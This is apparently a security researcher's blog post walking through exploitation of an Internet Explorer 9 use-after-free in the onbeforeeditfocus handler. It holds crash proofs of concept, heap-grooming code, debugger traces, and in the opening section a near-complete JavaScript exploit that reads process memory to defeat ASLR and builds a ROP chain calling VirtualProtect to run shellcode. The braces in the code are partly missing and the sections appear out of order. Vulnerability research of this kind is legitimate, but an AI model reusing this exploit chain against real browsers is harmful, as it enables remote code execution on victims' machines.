              AlteredBody.leftMargin = 2;
              AlteredBody.setAttribute('extra', 1);

              // create a few strings containing the correct data. The 2nd one will actually overwrite the attribute data. Has to do with the way we create our strings.
              for(k = 0; k < NumCached; k++) {
                FakeLFH.setAttribute("re-use" + k, newdata);

              //Start reading memory.
              mshtmlBase = getModuleBase(VariantAnchor, AlteredBody, mshtmlAddress)
              kernel32 = getImportedModule(VariantAnchor, AlteredBody, mshtmlBase, "kernel32.dll");
              ntdll = getImportedModule(VariantAnchor, AlteredBody, kernel32, "ntdll.dll");

              alert("mshtml base at 0x" + mshtmlBase.toString(16) + "nkernel32 base at 0x" + kernel32.toString(16) + "nntdll base at 0x" + ntdll.toString(16));

              //Time to bypass DEP with the information we learned.
              //ROP chain goes here, stack pivot at offset 0x18. mov ecx, [eax]; call [ecx+0x18];
              //Annoying thing is that we cant just do 'xchg eax, esp ; retn' because we need the value of ecx to be at [eax]
              //I couldnt find a realy clean way to mov ecx into esp. so the end result is somewhat dirty but effective. See below.
              //We like to know the heap address of the ROP chain before we create the ROP chain so it can containing its own address
              //There are only a few ways to allocate memory that you can actually alter without causeing the allocation to be freed and recreated (this happens with almost all strings)
              //Using the image data will work.
              ctx = document.createElement('canvas').getContext('2d');
              img = ctx.createImageData(0x100, 1); //that should be enough for now
              VariantAnchor.setAttribute('ropchain', img)

              //grab the location of the image data from the VariantAnchor Attribute table. (((VariantAnchor+10)+8)+28)+2C)
              roploc = readDword(VariantAnchor, AlteredBody, VariantAnchorAddress + 0x10)
              roploc = readDword(VariantAnchor, AlteredBody, roploc + 0x8)
              roploc = readDword(VariantAnchor, AlteredBody, roploc + 0x28)
              roploc = readDword(VariantAnchor, AlteredBody, roploc + 0x2C)
              alert("Location of ROP Chain = 0x" + roploc.toString(16));

              //Setting up the ROP chain
              createRopChain(img, roploc, kernel32, ntdll);

              //Using a VariantType 0x09 Dispatch will trigger a call [ecx+18] with ECX taken from our fake variant data.
              VariantAnchor.coords = 0x00010009 + "," + 1 + "," + roploc + "," + 1;

            if(Found) break; //prevent crash from overwritten string size
          if(Found) break; //prevent crash from overwritten string size

      function getModuleBase(a, f, b) {
        //look for word value MZ at every 0x10000 byte downwards
        b = b & 0xFFFF0000
        d = readWord(a, f, b)
        while(d != 0x5a4d) {
          b -= 0x10000;
          d = readWord(a, f, b)
        return b;

      function getImportedModule(a, f, base, modName) {
        //some shortcuts taken here, but MS modules all behave nicely when it comes to PE headers so should be fine for those modules.
        e_lfanew = readWord(a, f, base + 0x3C)
        importTable = readDword(a, f, base + e_lfanew + 0x80)
        var i = 0;
        while(i < 10) { //only parsing 10 imported modules, change this if you need something more exotic
          //read up on PE File headers if you wonder whats going on here.
          moduleNameAddr = readDword(a, f, base + importTable + (i * 0x14) + 0xC)
          moduleName = readString(a, f, base + moduleNameAddr);
          moduleName = moduleName.toLowerCase();
          if(moduleName == modName.toLowerCase()) {
            importRVA = readDword(a, f, base + importTable + (i * 0x14) + 0x10);
            SomeFunctionAddr = readDword(a, f, base + importRVA);
            ModBase = getModuleBase(a, f, SomeFunctionAddr)
            return ModBase
          i += 1;

      function readDword(a, f, addr) {
        //Variant type 0x13 with 0x4000 being 'ByRef'
        //Setting up the fake Variant values
        a.coords = 0x00014013 + "," + 1 + "," + addr + "," + 1;
        return parseInt(f.getAttribute('extra'));

      function readWord(a, f, addr) {
        //Variant type 0x12 with 0x4000 being 'ByRef'
        a.coords = 0x00014012 + "," + 1 + "," + addr + "," + 1;
        return parseInt(f.getAttribute('extra'));

      function readString(a, f, addr) {
        // For some reason we cant convert an 0x1F variant type to type 0x8 (used in javascript) so we will just read it as UI4 and convert from there.
        done = false
        result = '';
        while(!done) {
          a.coords = 0x00014013 + "," + 1 + "," + addr + "," + 1;
          val = parseInt(f.getAttribute('extra'));
          //should give us 4 bytes.
          for(i = 0; i < 4; i++) {
            bytecode = (val >> (i * 8)) & 0xFF;
            if(bytecode == 0) {
              done = true;
            else {
              result += String.fromCharCode(bytecode);
          addr += 4;
        return result;

      function createRopChain(imgd, address, kernel32, ntdll) {
        data = imgd.data;
        writeDword(imgd, 0, address - 0x14)  // mov ecx, [eax] //this frustrates our stack pivot slightly. Or we should pivot on ECX
                                             // control comes through call [ecx+0x18]
        writeDword(imgd, 0x4, ntdll + 0x550C8);// xchg eax,esp ; add [eax],eax ; pop edi ; pop esi ; pop ebp ; retn 0x0C
        writeDword(imgd, 0xC, kernel32 + 0x110c8); // VirtusalProtect (you should look this up in the export table, not use hard coded stuff. Same goes for pivot.)
        writeDword(imgd, 0x1C, address + 0x30); // retn address after VirtualProtect
        writeDword(imgd, 0x20, address); // address parameter for VirtualProtect
        writeDword(imgd, 0x24, 0x4000); // size parameter
        writeDword(imgd, 0x28, 0x40); // RWX protect
        writeDword(imgd, 0x2c, address + 0x8); // Can safely write here
        writeDword(imgd, 0x30, 0xCCCCCCCC); // Shellcode ...

      function writeDword(imgd, offset, value) {
        data = imgd.data;
        data[offset + 0] = value & 0xFF
        data[offset + 1] = value >> 8 & 0xFF
        data[offset + 2] = value >> 16 & 0xFF
        data[offset + 3] = value >> 24 & 0xFF

  <body onload="loaded();">
    <input value="mydata" type="text"></input>

Running this should give you

(914.1f4): Break instruction exception - code 80000003 (first chance)
eax=00000001 ebx=00000000 ecx=446f0000 edx=0275e148 esi=772350c8 edi=161b985c
eip=161b98a0 esp=161b98a0 ebp=00000000 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
161b98a0 cc              int     3
1:020> !address esp
Usage:                  Heap
Base Address:           161b9000
End Address:            161be000
Region Size:            00005000
State:                  00001000	MEM_COMMIT
Protect:                00000040	PAGE_EXECUTE_READWRITE
Type:                   00020000	MEM_PRIVATE
Allocation Base:        16160000
Allocation Protect:     00000004	PAGE_READWRITE
More info:              heap owning the address: !heap 0x160000
More info:              heap segment
More info:              heap entry containing the address: !heap -x 0x161b98a0


We have done it! Increment a single byte of memory and we own the whole process!

There are other ways, and my plan was to write up another one, but given the length of this blog I doubt many people make it all the way to the end without falling asleep so I’m keeping it at just this.
If you enjoy this type of exploitation and want to learn more our Vulnerability Development Master Course contains among other things a section on advanced browser exploitation.

– Peter Vreugdenhil / @WTFuzz

A browser is only as strong as its weakest byte

Back in September, FireEye posted a blog entry discussing CVE-2013-3147, a vulnerability in Microsoft Internet Explorer. They pointed out that Microsoft patched the issue on July 9th in Bulletin MS13-055. While reading their post it dawned on me that I had discovered a similar issue as far back as January this year. The usage of the onbeforeeditfocus event was what caught my attention, and upon installing the aforementioned patch from Microsoft, I confirmed that they silently fixed my bug, too. As we at Exodus had been shipping an exploit to our customers for this issue since January, we figured an adequate amount has time has passed and we can now share some details here on our blog.

The vulnerability we discovered was also an use-after-free vulnerability (as is often the case with browser issues) that involved event handlers and some other miscellaneous Javascript constructs. The exploit I wrote bypassed ASLR through a forced memory disclosure and Data Execution Prevention through the usual ROP chain trickery. The actual exploit is non-trivial, so bear with me with me and expect some minimal shortcuts to be taken in the following explanation.

The Crash

First of all, lets dump a poc that causes the crash:

<!doctype html>
      function setinput() {
        try { document.write('Timber'); } catch(e) {}
      function loaded() {
        document.getElementsByTagName('input')[0].attachEvent("onbeforeeditfocus", setinput)
  <body onload="loaded();">
    <input value="mydata" type="text"></input>

If you open this file in Internet Explorer 9 (from a website, not as a local file) you might get a crash that looks like this:

This exception may be expected and handled.
eax=00000001 ebx=00000000 ecx=00000010 edx=0000006a esi=00000000 edi=00000000
eip=71e0e0d0 esp=0327cb8c ebp=0327cb98 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
71e0e0d0 8b01            mov     eax,dword ptr [ecx]  ds:002b:00000010=????????
1:019> ub
71e0e0c4 90              nop
71e0e0c5 8bff            mov     edi,edi
71e0e0c7 55              push    ebp
71e0e0c8 8bec            mov     ebp,esp
71e0e0ca 51              push    ecx
71e0e0cb 51              push    ecx
71e0e0cc 53              push    ebx
71e0e0cd 8d4f10          lea     ecx,[edi+10h]

This might look like it is a NULL-pointer dereference: edi == NULL; ecx gets set to edi + 0x10; and then ecx is dereferenced. Since, as far as I know, NULL pointer dereference vulnerabilities are not exploitable in Internet Explorer this does not look useful. But this is not the actual crash, and to see where things first go wrong we simply turn on pageheap and user mode stack trace database for iexplore.exe.

gflags.exe /i iexplore.exe +hpa +ust
Current Registry Settings for iexplore.exe executable are: 02001000
    ust - Create user mode stack trace database
    hpa - Enable page heap

Running the poc again gives us the following information:

(87c.fc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00008000 ebx=0e62afd8 ecx=7746389a edx=02bb10d0 esi=ffffffff edi=0ed3af38
eip=71e43f37 esp=08c9caa0 ebp=08c9cab8 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
71e43f37 334738          xor     eax,dword ptr [edi+38h] ds:002b:0ed3af70=????????

1:019> lmi vm mshtml
    File version:     9.0.8112.16446

1:021> k
ChildEBP RetAddr
08c9cab8 71e43ed1 MSHTML!CSelectionManager::FireOnBeforeEditFocus+0x52
08c9cacc 71e43e85 MSHTML!CSelectionManager::ShouldElementShowUIActiveBorder+0x2e
08c9cae4 71e4308f MSHTML!CSelectionManager::SetEditContext+0xdf
08c9cb50 71cce2fd MSHTML!CSelectionManager::SetEditContextFromElement+0x34e
08c9cb90 71ccdb7d MSHTML!CSelectionManager::SetEditContextFromCurrencyChange+0x2d6
08c9cbb8 71ef200f MSHTML!CSelectionManager::Notify+0x1e0
08c9cbcc 71ef1fc2 MSHTML!CHTMLEditor::Notify+0x5a
08c9cbe8 71ccce15 MSHTML!CHTMLEditorProxy::Notify+0x21
08c9ccd0 71d9a7a4 MSHTML!CDoc::SetCurrentElem+0x525
08c9cd2c 71ccdef8 MSHTML!CElement::BecomeCurrent+0x1d6
08c9cd60 71c51018 MSHTML!CElement::focusHelperInternal+0x109
08c9cd78 710d85fe MSHTML!CFastDOM::CHTMLElement::Trampoline_focus+0x58
08c9cdac 71116402 jscript9!Js::JavascriptFunction::CallFunction+0xc4
08c9ce00 08d804da jscript9!Js::JavascriptExternalFunction::ExternalFunctionThunk+0x117
WARNING: Frame IP not in any known module. Following frames may be wrong.
08c9ce58 710d85fe 0x8d804da
08c9ce94 710d8523 jscript9!Js::JavascriptFunction::CallFunction+0xc4
08c9cef8 710d845a jscript9!Js::JavascriptFunction::CallRootFunction+0xb6
08c9cf34 710d83e6 jscript9!ScriptSite::CallRootFunction+0x4f
08c9cf5c 71119c8d jscript9!ScriptSite::Execute+0x63
08c9cfc0 71df27b9 jscript9!ScriptEngine::Execute+0x11a
08c9d044 71df26e3 MSHTML!CListenerDispatch::InvokeVar+0x12a
08c9d064 71e4d050 MSHTML!CListenerDispatch::Invoke+0x40
08c9d0e8 71d4e894 MSHTML!CEventMgr::_InvokeListeners+0x187
08c9d110 71e4d147 MSHTML!CEventMgr::_InvokeListenersOnWindow+0xcc
08c9d2d4 71edc03c MSHTML!CEventMgr::Dispatch+0x3cc
08c9d2fc 71df2ab0 MSHTML!CEventMgr::DispatchEvent+0xc9
08c9d330 71dc4062 MSHTML!COmWindowProxy::Fire_onload+0x123
08c9d394 71dc3c7a MSHTML!CMarkup::OnLoadStatusDone+0x5eb
08c9d3b4 71dc3c6f MSHTML!CMarkup::OnLoadStatus+0xb6
08c9d804 71d2ffbc MSHTML!CProgSink::DoUpdate+0x5dc
08c9d814 71eaa339 MSHTML!CProgSink::OnMethodCall+0x12
08c9d850 71ec9ba0 MSHTML!GlobalWndOnMethodCall+0x115

1:020> ub
call    MSHTML!EdUtil::FireOnEvent
mov     dword ptr [ebp-8],eax
shl     eax,0Fh

I wont be going into the details and root cause analysis for this crash but will mainly focus exploitation, but the main concept is that the body.onload() function triggers the onbeforeeditfocus handler to be called and the function apparently deletes some important data that causes a crash once we return from the ‘FireOnEvent’ function.

Unfortunately the VM I’m playing on has an windbg version that sometimes fails the user stack trace lookup, so I cannot show you that trace at this point. I can tell you the size of the allocation however, thanks to Fermin’s subtraction technique:

1:019> .printf "size is 0x%x", 1000 - edi & 0xFFF
size is 0xc8

So we know we are freeing a size 0xC8 piece of memory that contains some data that is being reused later on. Time to assess the exploitability of this issue, and mainly the exploitability when running with full process ASLR (no cheating as many public exploits these days seem to do).

First off all we need to check if we can replace the freed memory with our own data. Thanks to the Low Fragmentation Heap (LFH) this is pretty easy, by simply allocating 0xC8 bytes after the document.write() call we should re-occupy the last freed slot of 0xC8 sized memory. To make sure this allocation size uses the LFH allocator we make a few allocation of this size before we start the whole fun.

Setting a breakpoint at the initial crash location allows us to inspect our progress (don’t forget to turn off PageHeap to make sure the LFH allocator will be activated).

Actually, if at this point you want to stop reading and try to create the exploit yourself, go ahead and do so as spoilers are on the way.


Back to the progress: taking control over freed memory:

<!doctype html>

      lfh = new Array(20);
      for(i = 0; i < lfh.length; i++) {
        lfh[i] = document.createElement('div');

      function setinput() {
        try { document.write('Timber'); } catch(e) {}
        d = document.createElement('div');

      function loaded() {
        document.getElementsByTagName('input')[0].attachEvent("onbeforeeditfocus", setinput)
  <body onload="loaded();">
    <input value="mydata" type="text"></input>

Lets run this and watch the effects:

1:019> bp !mshtml + 0x383f37  ".printf "AFTER FireOnEvent : edi %p", edi; .echo; dc edi L0xc8/4;.echo;"
AFTER FireOnEvent : edi 1072a440
1072a440  71eb2d04 71eb320c 00000002 106f4920  .-.q.2.q.... Io.
1072a450  106eff10 106eff38 107309a0 00000000  ..n.8.n...s.....
1072a460  107308e0 00000000 00000000 0000000f  ..s.............
1072a470  00000001 00000000 00908002 00000000  ................
1072a480  00000000 00000000 00000000 00000000  ................
1072a490  106c3dc0 00000000 ffffffff 00000000  .=l.............
1072a4a0  00000000 00000000 00000000 00000000  ................
1072a4b0  00000000 107309a0 00000000 00000000  ......s.........
1072a4c0  00000000 106c3dc0 1072cd88 1072ce40  .....=l...r.@.r.
1072a4d0  00000000 106efe20 106efe48 106efe70  .... .n.H.n.p.n.
1072a4e0  106efe98 106efec0 106efee8 00000000  ..n...n...n.....
1072a4f0  00000000 00000000 00000000 00000000  ................
1072a500  00000000 00000000                    ........

eax=00008000 ebx=107309a0 ecx=00000000 edx=00000001 esi=ffffffff edi=1072a440
eip=71e03f37 esp=1330cca8 ebp=1330ccc0 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
71e03f37 334738          xor     eax,dword ptr [edi+38h] ds:002b:1072a478=02809000
1:019> g
AFTER FireOnEvent : edi 1072a440
1072a440  ffffffff ffffffff ffffffff ffffffff  ................
1072a450  ffffffff ffffffff ffffffff ffffffff  ................
1072a460  ffffffff ffffffff ffffffff ffffffff  ................
1072a470  ffffffff ffffffff ffffffff ffffffff  ................
1072a480  ffffffff ffffffff ffffffff ffffffff  ................
1072a490  ffffffff ffffffff ffffffff ffffffff  ................
1072a4a0  ffffffff ffffffff ffffffff ffffffff  ................
1072a4b0  ffffffff ffffffff ffffffff ffffffff  ................
1072a4c0  ffffffff ffffffff ffffffff ffffffff  ................
1072a4d0  ffffffff ffffffff ffffffff ffffffff  ................
1072a4e0  ffffffff ffffffff ffffffff ffffffff  ................
1072a4f0  ffffffff ffffffff ffffffff ffffffff  ................
1072a500  ffffffff 0000ffff                    ........

eax=00008000 ebx=10730a60 ecx=0000005d edx=0000005c esi=ffffffff edi=1072a440
eip=71e03f37 esp=1330c960 ebp=1330c978 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
71e03f37 334738          xor     eax,dword ptr [edi+38h] ds:002b:1072a478=ffffffff

As can be seen we have successfully taken over the freed memory allocation (the breakpoint hits twice and the 2nd time is when it was originally freed memory) and are now operating on data under our control. Next question is: “What now?”. First of all this does not seem to be one of those easy ‘control virtual function table and then control program flow’ style use-after-frees. At this point you should probably dig deeper and look into what the object/memory is supposed to be before it is freed to gain more insight and what route to take toward exploitation, but we wont do that to spare you some reading and me a lot of typing. It is also possible to create different types of crashes that might give you faster vftable control, but we’ll be working with this version since it allows us to do funny things.

We will start to just look at the function at the point of the crash and work from them under the assumption that we control the memory in [edi]. Opening the crash location and selecting ‘edi’ at the crash point shows us that edi comes from eax at the beginning of the function.


We also see that the result of the ‘EdUtil::FireOnEvent’ call is used to determine a jump at the end of the basic block:


The result of the function is ‘1’ resulting in the the jnz not being taken and the function ending shortly after that without using the freed data again. Of course, you really need to dig into the function and find out why it returns 1 and not 0 which gives you much more exploitation flexibility, but again: shortcut time, we’re not doing that here.


We’ll need to go up a few function to find a place where the freed memory is being accessed again. You can use the call stack or code cross references in IDA to do that, or step through it in WinDBG, whichever you prefer. You should be able to figure out that in “MSHTML!CSelectionManager::SetEditContext+0xf2:” the memory is used again, but nothing thereabouts seems to be too useful:

71e03e93 836738f7        and     dword ptr [edi+38h],0FFFFFFF7h ds:002b:0083b968=ffffffff

Tracing further will tell you that you’ve ended up inside CSelectionManager::EndSelectionChange with controlled memory being set to eax just before the call:


This is where things get interesting. If you need a break from my ramblings I suggest you take a look at the function, assuming that you can control the data in eax at the beginning of the function and find an interesting path through to the epilogue. When working in a fully-ASLRed process there are a few ways that I can currently think of that will not crash:

  1. Replace freed objects with other objects so virtual calls are correctly resolved into a module
  2. Avoid any and all virtual function calls
  3. use USER_SHARE_DATA to call LdrHotPatchRoutine

I have created a PNG of the whole function by taking a few screenshots and pasting them together in a graphics editor, mspaint.exe (there are probably better approaches to that but, hey, this worked). Use right click: open in new tab/window if your screen size isn’t big enough to read it when you click it normally.


I highlighted ‘esi’ in the function since that is the register that points to our data. The thing that caught my eye when I was looking at this was the following code:

.text:63904388 loc_63904388:                           ; CODE XREF: CSelectionManager::EndSelectionChange(int)-22579Fj
.text:63904388                 mov     esi, [esi+0Ch]
.text:6390438B                 test    eax, eax
.text:6390438D                 jnz     loc_6378E064
.text:63904393                 inc     dword ptr [esi+0A0h]
.text:63904399                 jmp     loc_639B2DD2

If we can reach that block without crashing and with eax set to the correct value (0x0) we can INCrement whatever memory address that we want. This seems somewhat limited but we’ll get back to that later. First lets try to reach that block and once we reach the problematic situation we can worry about actual pursuit of exploitation.

If we slowly step through the function we will see what values we need to have in our controlled memory to be able to reach the code without crashing. If you at this point are working with a non-ASLR library you want to take a different path that leads to a virtual function table call with the pointer under your control, but that’s not what we are after.

Stepping through the function show us:

.text:639B2DAE                 dec     dword ptr [esi+90h]
.text:639B2DB4                 mov     eax, [esi+90h]
.text:639B2DC3                 test    eax, eax
.text:639B2DC5                 short loc_639B2DD2

[esi+0x90] should be 0x1 at the beginning.

.text:6390282A loc_6390282A:                           ; CODE XREF: CSelectionManager::EndSelectionChange(int)+15j
.text:6390282A                 shl     ecx, 4
.text:6390282D                 xor     ecx, [esi+3Ch]
.text:63902830                 and     ecx, 10h
.text:63902833                 xor     [esi+3Ch], ecx
.text:63902836                 jmp     loc_639B2DC3
.text:639B2DC7                 mov     eax, [esi+3Ch]
.text:639B2DCA                 test    al, 10h
.text:639B2DCC                 jnz     loc_63904352

[esi+0x3C] need to pass some test for 0x10, so we’ll just poke at that until it complies.

The block of code we want to reach requires eax to be 0x0 to take the right jump. For this to happen we need to trace back where eax is being set and figure out which path we need to walk to get there. There are two places right above the block we want to reach that can set eax:

mov     eax, edi


.text:6390437C                 test    byte ptr [esi+3Ch], 2
.text:63904380                 jnz     loc_6378D607
.text:63904386                 xor     eax, eax

A little inspection show that edi will be non zero at the point where edi is moved to eax, so the only route we can take is the ‘xor eax, eax’ path. To reach this we need to survive through additional functions:
CSelectionManager::GetTrackerType‘ and ‘CSelectionManager::ShouldCaretBeInteractive‘ and both need to return the right return values. This can be achieved without too much hassle.

CSelectionManager::GetTrackerType should return either 1 or 2 which can be achieved by having our data + 0x50 point to memory where at offset 0xC you can find the value 0x1 or 0x2:


The other function: CSelectionManager::ShouldCaretBeInteractive, is a little bit more complex, but can also be navigated through without the process crashing. I will not sit you through that but instead will point out that you can find a value of 0x1 inside the USER_SHARE_DATA at a 0x7ffe0240. I think it’s about time to test a proof of concept that will allow us to INC dword ptr [0xCONTROLLED] and then go from there.

To do this we need to be able allocate an 0xC8-sized piece of memory and fill it with data under our control including values of u0000 (we need 0x1 at offset +0x90). The element.className trick we used in our previous sample wont cut it since the string will terminate at the first u0000 it encounters. There are however plenty more way to have some fun with the heap in Internet Explorer 9. One of the tricks I like to use consists of the following lines of code:

a = document.createElement('area');
a.shape = 'poly';
a.coords = '1,2,3,4,5,6,7,8,9,10';

This snippet creates an AREA element, set its shape to be a polygon and then assigns a list of points (x,y) to its ‘coord’ property. This results in an allocation that consists of:
[NUMBER_OF_POINTS][X][Y][X][Y] …. with all the values converted to hex double words. Using this we do not control the first 4 bytes of the allocation but we’ll be able to easily control the rest and set it to values we want. This results in the proof of concept shown below:

<!doctype html>
			lfh = new Array(20);
			for(i = 0; i < lfh.length; i++) {
				lfh[i] = document.createElement('div');

			function setinput() {
				try { document.write('Timber'); } catch(e) {}
				d = document.createElement('area');
				d.shape = "poly"
				d.coords = "1,2,606348324,4,5,0,7,8,9,10,11,12,13,14,13,16,17,18,19,2147353180,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,1,37,38,39,40,41,42,43,44,45,46,47,48";

			function loaded() {
				document.getElementsByTagName('input')[0].attachEvent("onbeforeeditfocus", setinput)
	<body onload="loaded();">
		<input value="ExodusIntel" type="text"></input>

This cause the following crash in IE:

(638.104): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=131ec89c edx=00000033 esi=24242424 edi=00000001
eip=71e04393 esp=131ec8a0 ebp=131ec8d8 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
71e04393 ff86a0000000    inc     dword ptr [esi+0A0h] ds:002b:242424c4=????????

So there you have it, our exploit primitive allows us to INCrement data at a single 4 byte address of our choosing. Is that enough to

  1. Force a memory disclosure needed to bypass ASLR
  2. Control the flow of the execution with enough control to bypass DEP

The answer is of course Yes, otherwise I wouldn’t be writing this blog. As a matter of fact, I found two somewhat distinct ways to do this.

And…. my time is up for this week. I will write the follow up with at least one exploit and publish it next week after Thanksgiving, anyone who sends me either a workable idea, or even better, an actual working exploit will get a shoutout in Part 2.

A few notes on the exploit I wrote:

  • Due to the requirements our memory replacement has (size 0xC8, some specific values at certain offsets) we’re almost certainly stuck with a ‘fixed’ address as the memory address we can INC. Feel free to add a heapspray if you need.
  • We will only trigger the ‘crash’ once and thus the initial exploit primitive of INC[memory] will be used for both a memory disclosure followed by process control.

To be continued….